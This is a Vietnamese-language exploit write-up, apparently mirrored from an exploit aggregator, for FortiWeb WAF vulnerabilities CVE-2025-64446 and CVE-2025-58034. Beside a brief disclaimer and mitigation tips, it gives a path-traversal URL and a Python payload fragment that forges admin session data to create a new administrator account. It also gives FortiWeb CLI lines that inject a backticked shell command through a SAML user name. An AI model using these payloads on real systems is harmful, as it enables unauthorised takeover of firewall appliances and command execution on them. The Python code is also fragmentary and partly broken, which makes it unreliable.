Share
## https://sploitus.com/exploit?id=2DEFD2D9-CD2E-5E1B-BEAB-3A15FD3493B4
# Mô phỏng khai thác FortiWeb (CVE-2025-64446 & CVE-2025-58034)

### Lưu ý:
- Tài liệu này chỉ phục vụ mục đích học tập và nghiên cứu bảo mật.
- Không sử dụng để tấn công hệ thống khi chưa có sự cho phép.

## 1. Tổng quan

FortiWeb là thiết bị Web Application Firewall (WAF) dùng để bảo vệ ứng dụng web.

Trong năm 2025, hai lỗ hổng nghiêm trọng được phát hiện:
  - CVE-2025-64446 – Bỏ qua xác thực thông qua Path Traversal
  - CVE-2025-58034 – OS Command Injection

## 2. Tổng quan về CVE-2025-64446

| Mục | Nội dung |
|-----|---------|
| Loại lỗ hổng | Relative Path TraversalAuthentication Bypass |
| Nguyên nhân | FortiWeb xử lý đường dẫn không chặt chẽ trước khi xác thực:- Kiểm soát truy cập dựa trên chuỗi path logic- Không normalize đường dẫn đầy đủ- Cho phép sử dụng `../` truy cập tài nguyên nội bộ |
| Mô tả | Một số endpoint quản trị có thể bị truy cập mà không cần xác thực hợp lệ |
| Tác hại | - Bypass authentication hoàn toàn- Truy cập trái phép chức năng admin- Phá vỡ mô hình phân quyền |
| Phiên bản bị ảnh hưởng | - 8.0.0 – 8.0.1- 7.6.0 – 7.6.4- 7.4.0 – 7.4.9- 7.2.0 – 7.2.11- 7.0.0 – 7.0.11 |

Ví dụ:
```
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
```
---

## 3. Tổng quan về CVE-2025-58034

| Mục | Nội dung |
|-----|---------|
| Loại lỗ hổng | OS Command Injection (CWE-78) |
| Nguyên nhân | FortiWeb xử lý input không an toàn khi thực thi lệnh hệ điều hành:- Không validate input- Thiếu escape ký tự đặc biệt- Truyền trực tiếp dữ liệu user vào system command |
| Mô tả | Lỗ hổng yêu cầu xác thực nhưng cho phép chèn lệnh hệ thống |
| Tác hại | - Thực thi lệnh ngoài ý muốn- Truy cập tài nguyên hệ thống- Ảnh hưởng tính toàn vẹn và khả dụng |
| Phiên bản bị ảnh hưởng | - 8.0.0 – 8.0.1- 7.6.0 – 7.6.5- 7.4.0 – 7.4.10- 7.2.0 – 7.2.11- 7.0.0 – 7.0.11 |

---
## 4. Quá trình thực nghiệm (POC)

### 4.1. Chuẩn bị môi trường:
   ```bash
   python3 -m venv venv
   source venv/bin/activate
   pip install -r requirements.txt
   ```
Việc này giúp tránh xung đột phiên bản thư viện, đảm bảo tính ổn định của môi trường làm việc và hạn chế ảnh hưởng đến hệ thống



### 4.2 Khai thác

Payload

```
 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

```
Chạy công cụ bằng Python3:
```
python3 exploit.py 
```
   * ``: Địa chỉ IP ở đây là tên máy chủ của thiết bị FortiWeb.



Có được username và password -> tiến hành login


 


Khai thác thành công và tạo được tài khoản mới với quyền admin.

### 4.3 Khai thác CVE-2025-58034 sau khi đăng nhập tài khoản

Sau khi đăng nhập thành công bằng tài khoản quản trị mới tạo, kẻ tấn công có thể khai thác lỗ hổng chèn lệnh đã xác thực thông qua các yêu cầu được tạo ra đặc biệt hoặc trực tiếp thông qua giao diện dòng lệnh FortiWeb CLI:
```
config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end
```
FortiWeb sẽ thoát khỏi chuỗi cấu hình và thực thi lệnh id trong quá trình cấu hình saml-user.

## 5. Một số cách giảm thiểu lỗ hổng

- Cập nhật FortiWeb lên phiên bản đã vá.
- Giới hạn truy cập giao diện quản trị.
- Không expose management interface ra Internet.
- Kiểm tra tài khoản admin bất thường.

## 6. Tài liệu tham khảo thêm
* CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
* CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034